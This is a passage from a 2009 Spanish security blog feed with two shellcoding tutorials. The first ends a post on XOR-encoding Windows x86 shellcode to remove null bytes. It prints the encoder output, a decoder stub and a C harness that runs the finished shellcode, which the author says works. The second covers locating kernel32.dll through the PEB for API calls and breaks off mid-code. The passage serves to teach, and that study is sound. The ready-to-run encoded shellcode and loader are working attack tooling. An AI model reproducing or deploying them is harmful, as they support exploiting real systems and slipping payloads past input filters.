<p>=&gt;  Codificando Opcodes (xor 0&#215;10)&#8230;</p>
<p>=Shellcode codificada: \xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x  9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f  \xa7\x5a\x36\x21\xef\x21\xd0\xbc\x2c\x71\x6c\x12\x  3c\x30\xd1\xdf\x1d\x11\xd7\xf2\xe0\x42\x47\x9b\x42  \x00\x9b\x52\x2c\x11\xc0\x9b\x50\x68\x95\xd0\x64\x  5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\xf3  \x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc\x  d1\xdf\x1d\x11\xd7\x28\xf0\x65\xe4\x13\x6d\xe8\x2b  \x6d\x34\x65\xf2\x48\x9b\x48\x34\x11\xc3\x76\x9b\x  1c\x5b\x9b\x48\xc\x11\xc3\x9b\x14\x9b\x11\xc0\x99\  x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x48\x4  f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\x78\  x21\x9b\x7f\x97\xef\xc5\x78\xe0\xa5\xb2\x46\xef\xc  5\xf8\xfd\xef\xef\xef\x73\x7d\x74\x3e\x75\x68\x75\  x30\x10</p>
<p>=&gt;  Moviendo shellcode codificada a sc.shellcode&#8230;</p>
<p>=&gt;  Buscando bytes nulos y saltos de linea en sc.shellcode&#8230;</p>
<p>=&lt;    \x00 encontrado con: xor 0&#215;10</p>
<p>=&gt;  Codificando Opcodes (xor 0&#215;11)&#8230;</p>
<p>=Shellcode codificada: \xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x  9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e  \xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x  3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43  \x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x  5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2  \x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\x  d0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a  \x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x  1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\  x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4  e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\  x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc  4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\  x31\x11</p>
<p>=&gt;  Moviendo shellcode codificada a sc.shellcode&#8230;</p>
<p>=&gt;  Buscando bytes nulos y saltos de linea en sc.shellcode&#8230;</p>
<p>=&gt;  Creando codigo fuente del stub decodificador&#8230;</p>
<p>****************10c111_decoder.asm********</p>
<p>[BITS 32]</p>
<p>global ini</p>
<p>ini:</p>
<p>jmp short sc_data</p>
<p>decode_routine:</p>
<p>pop ebx</p>
<p>xor ecx,ecx</p>
<p>mov cx, 0&#215;10c1</p>
<p>sub cx, 0&#215;1010</p>
<p>decode_loop:</p>
<p>xor byte [ebx], 0&#215;11</p>
<p>inc ebx</p>
<p>loop decode_loop</p>
<p>jmp short shellcode</p>
<p>sc_data:</p>
<p>call decode_routine</p>
<p>shellcode:</p>
<p>*****************************************</p>
<p>=Codigo del decodificador guardado en 10c111_decoder.asm</p>
<p>&gt;Proceso finalizado&lt;</td>
</tr>
</tbody>
</table>
</div>
<p><!-- END TEMPLATE: bbcode_quote -->Bien, ya tenemos la shellcode codificada sin bytes nulos ni saltos de linea:</p>
<p><!-- BEGIN TEMPLATE: bbcode_quote --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Cita:</div>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border:1px inset;">\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x  9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e  \xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x  3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43  \x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x  5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2  \x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\x  d0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a  \x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x  1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\  x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4  e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\  x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc  4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\  x31\x11</td>
</tr>
</tbody>
</table>
</div>
<p><!-- END TEMPLATE: bbcode_quote -->&#8212;&gt; El Stub:</p>
<p>Estudiemos el stub creado por el script:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:290px;text-align:left;margin:0;padding:6px;">[BITS 32]
global ini
ini:
	jmp short sc_data	;obtenemos el puntero al codigo de la shellcode
decode_routine:
  	pop ebx                   	;puntero al inicio de la shellcode a ebx
	xor ecx,ecx			;ecx a cero
	mov cx, 0x10c1           ;tama?o de la shellcode mas 0x1010
	sub cx, 0x1010		;cx menos los 0x1010 a?adidos (la explicacion mas adelante)
decode_loop:
	xor byte [ebx], 0x11	;byte contenido en ebx decodificado
	inc ebx			;ebx++
	loop decode_loop		;cx=0? no, sigue decodificando
	jmp short shellcode	;si, ejecutemos la shellcode
sc_data:
	call decode_routine	;puntero a la shellcode a la pila
shellcode:</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Veamos las lineas del decodificador:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:50px;text-align:left;margin:0;padding:6px;">	mov cx, 0x10c1
	sub cx, 0x1010</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Y la del codificador:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:34px;text-align:left;margin:0;padding:6px;">set/a sc_sz+=0x1010</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Por que es necesario sumar 0&#215;1010 y luego restarlos al valor de cx, no da lo mismo y es mas sencillo hacer algo como:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:34px;text-align:left;margin:0;padding:6px;">	mov cx, 0xb1</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code --> ???</p>
<p>Si, si es mas sencillo, pero veamoslo en opcodes:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:50px;text-align:left;margin:0;padding:6px;">	mov cx, 0x10c1
	sub cx, 0x1010</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->&gt;&gt;B9C11081E91010<br />
<!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:34px;text-align:left;margin:0;padding:6px;">	mov cx, 0xb1</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->&gt;&gt;B9B100</p>
<p>Todo bien, pero notese algo:</p>
<p>B9B1<span style="color:yellow;">00</span></p>
<p>Un <span style="color:yellow;">byte nulo</span>, asi, para evitar bytes nulos en el decodificador el script usa lo que vimos en polimorfismo, diferentes instrucciones para llegar a un mismo punto, asi,  hay menos probabilidades de que el stub quede inservible con bytes nulos, no digo que sea imposible, eso es parte del programador, pero es una tecnica que ayuda a evitarlo.</p>
<p><strong>Probando todo</strong></p>
<p>-Tenemos el stub para la shellcode:</p>
<p><!-- BEGIN TEMPLATE: bbcode_quote --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Cita:</div>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border:1px inset;">\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x  10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff  \xff\xff</td>
</tr>
</tbody>
</table>
</div>
<p><!-- END TEMPLATE: bbcode_quote -->-Tenemos la shellcode codificada:</p>
<p><!-- BEGIN TEMPLATE: bbcode_quote --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Cita:</div>
<table border="0" cellspacing="0" cellpadding="6" width="100%">
<tbody>
<tr>
<td class="alt2" style="border:1px inset;">\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x  9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e  \xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x  3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43  \x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x  5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2  \x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\x  d0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a  \x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x  1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\  x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4  e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\  x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc  4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\  x31\x11</td>
</tr>
</tbody>
</table>
</div>
<p><!-- END TEMPLATE: bbcode_quote -->Encapsulamos en C:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:146px;text-align:left;margin:0;padding:6px;">char code[] = "\xeb\x14\x5b\x31\xc9\x66\xb9\xc1\x10\x66\x81\xe9\x10\x10\x80\x33\x11\x43\xe2\xfa\xeb\x05\xe8\xe7\xff\xff\xff\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e\xa6\x5b\x37\x20\xee\x20\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\xd6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1\x9a\x51\x69\x94\xd1\x65\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\xf2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd\xd0\xde\x1c\x10\xd6\x29\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\xc2\x9a\x15\x9a\x10\xc1\x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x49\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\x79\x20\x9a\x7e\x96\xee\xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xee\x72\x7c\x75\x3f\x74\x69\x74\x31\x11";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code --><img src="http://img142.imageshack.us/img142/5395/p3t3.jpg" border="0" alt="" /></p>
<p>funciona!! <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><strong>Referencias</strong></p>
<p>Understanding Windows Shellcode<br />
en.wikipedia.org/wiki/Shellcode<br />
skypher.com/wiki/index.php/Main_Page</p>
<p><strong>Articulos mios relacionados al shellcoding:</strong></p>
<p><a href="http://sswteam.wordpress.com/2009/07/21/creando-una-shellcode-x86/" target="_blank">Creando una Shellcode (x86¦win)</a><br />
<a href="http://sswteam.wordpress.com/2009/09/12/creando-una-shellcode-direccion-de-kernel32-y-calls-especiales/" target="_blank">Creando una Shellcode: &#8220;Direccion de kernel32 y calls especiales&#8221;</a></p>
<p>Saludos!</p>
  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/sswteam.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/sswteam.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/sswteam.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/sswteam.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/sswteam.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/sswteam.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/sswteam.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/sswteam.wordpress.com/98/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/sswteam.wordpress.com/98/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/sswteam.wordpress.com/98/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=98&subd=sswteam&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://sswteam.wordpress.com/2009/09/13/shellcoding-no-mas-bytes-nulos/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">lShadowl</media:title>
		</media:content>

		<media:content url="http://img200.imageshack.us/img200/169/p1t3.jpg" medium="image" />

		<media:content url="http://img200.imageshack.us/img200/3017/p2t3.jpg" medium="image" />

		<media:content url="http://img142.imageshack.us/img142/5395/p3t3.jpg" medium="image" />
	</item>
		<item>
		<title>Creando una Shellcode: Direccion de kernel32 y calls especiales</title>
		<link>http://sswteam.wordpress.com/2009/09/12/creando-una-shellcode-direccion-de-kernel32-y-calls-especiales/</link>
		<comments>http://sswteam.wordpress.com/2009/09/12/creando-una-shellcode-direccion-de-kernel32-y-calls-especiales/#comments</comments>
		<pubDate>Sat, 12 Sep 2009 23:58:32 +0000</pubDate>
		<dc:creator>lShadowl</dc:creator>
				<category><![CDATA[Tutoriales & Manuales]]></category>
		<category><![CDATA[API]]></category>
		<category><![CDATA[busqueda]]></category>
		<category><![CDATA[creacion]]></category>
		<category><![CDATA[creando]]></category>
		<category><![CDATA[crear]]></category>
		<category><![CDATA[kernel32]]></category>
		<category><![CDATA[lShadowl]]></category>
		<category><![CDATA[shellcode]]></category>
		<category><![CDATA[shellcoding]]></category>
		<category><![CDATA[The Shadow]]></category>

		<guid isPermaLink="false">http://sswteam.wordpress.com/?p=96</guid>
		<description><![CDATA[Creando una Shellcode
Direccion de kernel32 y calls especiales
Articulo previo: Creando una Shellcode
por lShadowl
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;
Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=sswteam.wordpress.com&blog=4167724&post=96&subd=sswteam&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><div style="text-align:center;"><strong><span style="font-size:small;">Creando una Shellcode</span></strong></p>
<p>Direccion de kernel32 y calls especiales</p>
<p>Articulo previo: <a href="http://sswteam.wordpress.com/2009/07/21/creando-una-shellcode-x86/" target="_blank">Creando una Shellcode</a></div>
<p>por lShadowl</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p>Siguiendo con el tema de las shellcodes, en este articulo se vera el problema de shellcodes para versiones de SO especificos en los que la llamada a la API se hace directamente. Se expondra como obtener la direccion actual donde se ha cargado kernel32.dll y como llamar funciones.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Teoria</strong></p>
<p>Nota: Info sobre las estructuras: <a href="http://ntinternals.net/" target="_blank">http://ntinternals.net/</a> ; <a href="http://msdn.microsoft.com/" target="_blank">http://msdn.microsoft.com/</a></p>
<p>Para encontrar la direccion de kernel32 hay varios metodo de los cuales los mas notables son usando: PEB (el que explicare en este articulo), SEH (Structured Exception Handling) y TOPSTACK (basado en el uso del TEB //Thread Environment Block).</p>
<p>PEB (Process Environment Block) es una estructura que contiene la informacion de los procesos cargados en Windows. Su estructura es la siguiente:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:242px;text-align:left;margin:0;padding:6px;">typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged;
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
}PEB, *PPEB;</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->La direccion de esta estructura se en fs:[0x30], esto quiere decir que con:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:34px;text-align:left;margin:0;padding:6px;">mov ebx,fs:[0x30]</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->podemos tener en &#8216;eax&#8217; un puntero a PEB. Pero para que nos sirve tener acceso a PEB?</p>
<p>En la estructura del PEB podemos ver que uno de sus valores es un puntero a LDR_DATA:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:34px;text-align:left;margin:0;padding:6px;"> PPEB_LDR_DATA                 Ldr;</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Ahora, veamos la estructura de PEB_LDR_DATA:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:178px;text-align:left;margin:0;padding:6px;">typedef struct _PEB_LDR_DATA {

ULONG Length;
BOOLEAN Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;

} PEB_LDR_DATA, *PPEB_LDR_DATA;</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Bien, lo que nos interesa aqui es la list entry:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:34px;text-align:left;margin:0;padding:6px;">LIST_ENTRY InLoadOrderModuleList;</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Que contiene un puntero a la informacion de los modulos cargados en orden descendiente del primero al ultimo. Su estructura es la siguiente:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:290px;text-align:left;margin:0;padding:6px;">typedef struct _LDR_MODULE {

LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID BaseAddress;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
SHORT LoadCount;
SHORT TlsIndex;
LIST_ENTRY HashTableEntry;
ULONG TimeDateStamp;

} LDR_MODULE, *PLDR_MODULE;</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Que es la que usaremos para filtrar la direccion del kernel32.dll y las demas APIs que usaremos.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Encontrando la direccion de kernel32.dll</strong></p>
<p>Para filtrar los datos del PEB partimos en tener un puntero a PEB:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:34px;text-align:left;margin:0;padding:6px;">mov ebx, fs:[0x30]</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Ahora necesitamos apuntar a InLoadOrderModuleList de LDR</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:50px;text-align:left;margin:0;padding:6px;">		mov ebx, [ebx+0x0C]  ;puntero a LDR
		mov ebx, [ebx+0x1C]  ;puntero a InLoadOrderModuleList</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Ahora solo resta filtrar el contenido para tener en ebx la direccion de kernel32</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:50px;text-align:left;margin:0;padding:6px;">		mov ebx, [ebx]
		mov ebx, [ebx + 0x08]</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Entonces tendremos como codigo resultante:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:114px;text-align:left;margin:0;padding:6px;">		xor ebx, ebx ;ebx a 0
		mov ebx, fs:[0x30] ;apuntamos a PEB
		mov ebx, [ebx+0x0C] ;LDR a edx
		mov ebx, [ebx+0x1C] ;InInitializationOrderModuleList a edx
		mov ebx, [ebx]
		mov ebx, [ebx+0x08] ;direccion de kernel32.dll a ebx</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code -->Comparemos como funciona vs GetModuleHandleA():</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:322px;text-align:left;margin:0;padding:6px;">#include &lt;windows.h&gt;
#include &lt;stdio.h&gt;

int main()
{
	DWORD kernelAdd;
	printf("usando GetModuleHandleA(): %08X", (DWORD)GetModuleHandleA("kernel32.dll"));
	__asm{
		xor ebx, ebx
		mov ebx, fs:[0x30]
		mov ebx, [ebx+0x0C]
		mov ebx, [ebx+0x1C]
		mov ebx, [ebx]
		mov ebx, [ebx+0x08]
		mov kernelAdd, ebx
	}
	printf("\ncon PEB: %8X", kernelAdd);
	return 0;
}</pre>
</div>
<p><!-- END TEMPLATE: bbcode_code --><img src="http://img527.imageshack.us/img527/149/p1t2.jpg" border="0" alt="" /></p>
<p>Como podemos ver, las direcciones resultantes (en mi caso: &#8220;7C800000&#8243; //win XP Pro sp3) son identicas. El metodo funciona.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Mas teoria</strong></p>
<p>Bien, ya aprendimos sobre la estructura del PEB y del LDR y como manejarlas para conseguir la direccion de un modulo. Para esta seccion es necesario conocer los terminos RVA (Relative Virtual Address) y EAT (Export Address Table). Para esto estudiaremos la cabecera opcional de los PE que es la que provee informacion al loader de windows.</p>
<p>Esta cabecera se divide en tres partes mayores: campos standard, campos especificion de windows y directorios de datos. &gt;&gt;</p>
<p><img src="http://img156.imageshack.us/img156/6000/p2t2.jpg" border="0" alt="" /></p>
<p>De estos campos nos interesaremos en la parte de los directorios de datos. &gt;&gt;</p>
<p><img src="http://img136.imageshack.us/img136/6048/p3t2.jpg" border="0" alt="" /></p>
<p>EAT &#8211; Export Address Table</p>
<p>La tabla de direccion de la exportacion contiene la direccion de los puntos de entrada, datos y absolutos exportados. Un numero ordinal se utiliza para poner en un indice la tabla de direccion de la exportacion, despues de restar el valor del campo bajo ordinal para conseguir un indice verdadero, basado en cero. (Asi, si la base ordinal se fija a 1, un valor comun, un ordinal de 6 es igual que un índice basado en cero de 5.)</p>
<p>Cada entrada en la tabla de direcciones de exportacion es un campo que utiliza uno de dos formatos, segun las indicaciones de la tabla siguiente. Si la direccion especificada no estáadentro de la seccion de exportacion (segun lo definido por la direccion y la longitud indicadas en el jefe opcional), el campo es una exportacion RVA: una dirección real en codigo o datos. Si no, el campo es un promotor RVA, que nombra un símbolo en otro DLL.</p>
<p><img src="http://img136.imageshack.us/img136/2558/p4t2.jpg" border="0" alt="" /></p>
<p>Es necesario saber las estructuras con que se trabaja, para mas info: MSDN.</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</p>
<p><strong>Llamando a las APIs</strong></p>
<p>El metodo a exponer es algo vago, revisamos cada modulo cargado, como vimos anteriormente con LDR pero ahora usaremos la lista en orden de posicion de memoria, y comparamos cada funcion del modulo con la funcion que necesitamos llamar, al encontrarla, la llamamos <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .</p>
<p>Analicemos como hacer las llamadas siguiendo los pasos anteriores:</p>
<p><!-- BEGIN TEMPLATE: bbcode_code --></p>
<div style="margin:5px 20px 20px;">
<div class="smallfont" style="margin-bottom:2px;">Código:</div>
<pre class="alt2" style="border:1px inset;overflow:auto;width:470px;height:498px;text-align:left;margin:0;padding:6px;">api_call:
  pushad     ;registros a pila
